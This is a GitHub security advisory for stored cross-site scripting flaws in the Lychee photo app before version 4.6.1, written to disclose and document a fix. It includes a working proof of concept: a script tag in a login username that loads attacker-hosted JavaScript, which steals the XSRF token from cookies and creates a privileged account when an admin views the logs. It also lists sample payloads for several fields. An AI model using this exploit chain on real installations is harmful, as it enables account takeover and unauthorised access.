Skip to content
This repository has been archived by the owner on Dec 25, 2023. It is now read-only.

XSS on the front-end

Moderate
ildyria published GHSA-cr79-38hg-27gv Oct 10, 2022

Package

composer lychee-org/lychee (Composer)

Affected versions

< 4.6.1

Patched versions

4.6.1

Description

Several XSS were found in Lychee 4.6.0. These vulnerabilities could allow unauthenticated users to to gain logged access to the platform by creating a new account.
While the front-end is on JS, Lychee versioning is tied to composer.

Details

Several XSS were found in Lychee 4.6.0. These vulnerabilities could allow unauthenticated users to to gain logged access to the platform by creating a new account.
One of them was pre authentication. The rest of them required an authenticated user account.

Using the unauthenticated XSS is was possible to create a new user by attempting to log with the non existing user <script src='172.0.0.1/a.js"/> with the file a.js containing the following:

fetch('http://172.17.0.2:80/api/User::create',{
    // create a POST request to be sent to the lychee instance located at `172.17.0.2`
    method: 'POST',
    // setup the headers
    headers: {
        'Content-Type': 'application/json',
        'Accept': 'application/json, text/javascript, */*; q=0.01',
        //the X-XSRF-TOKEN is retrieve from the cookie store as it is not `HttpOnly`
        'X-XSRF-TOKEN': document.cookie.split('=')[1].split('%')[0],
        'X-Requested-With': 'XMLHttpRequest',
},
    // body of the request containing the payload to create a new user with upload privileges
    body: '{"username":"xss_1","password":"xss","may_upload":true,"is_locked":false}'
});

Once the admin user viewed the "Show logs" page, his browser will request the a.js script located on the attacker
machine, execute its content, thus sending an HTTP request to create a new user. The admin browser will automatically include its session token and the new user will be created.

Affected location

The insertions point were:

  • Username (unauthenticated): A attacker without an account could try to authenticate as as<script>alert(3)</script>df. The payload would be triggered when the admin user opened the application logs (/api/Logs::list). This could also be used as a log injection.
  • Username (authenticated): A user can change its username to contain JS code (/api/Settings::updateLogin). The payload will be triggered:
    • when the admin user open the application logs (/api/Logs::list)
    • when a user want to share an album with other users (/api/Sharing::list)
    • (if the user has a non empty album) when the admin user access his landing pages as the admin get access to all albums and the username is supplied
  • PhotoTitle: A user with sufficient permission can upload a photo whose title can contain JS code. The payload will be triggered on the delete confirmation message (/api/Photo::get)
  • AlbumTitle: A user with sufficient permission can upload a photo whose title can contain JS code. The payload will be triggered on the delete confirmation message (/api/Album::get)
  • PhotoDescription: A user with sufficient permission can change a photo description and insert JS code. The payload will triggered when a user display the photo (/api/Photo::get)

The code reflection points are listed below:

Patches

The project choose to fix the vulnerabilities by sanitizing the output and not performing any transformation on the user input..
#324 #325 fix the issues.

Workarounds

None.

References

https://owasp.org/www-community/attacks/xss/

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L

CVE ID

No known CVE

Credits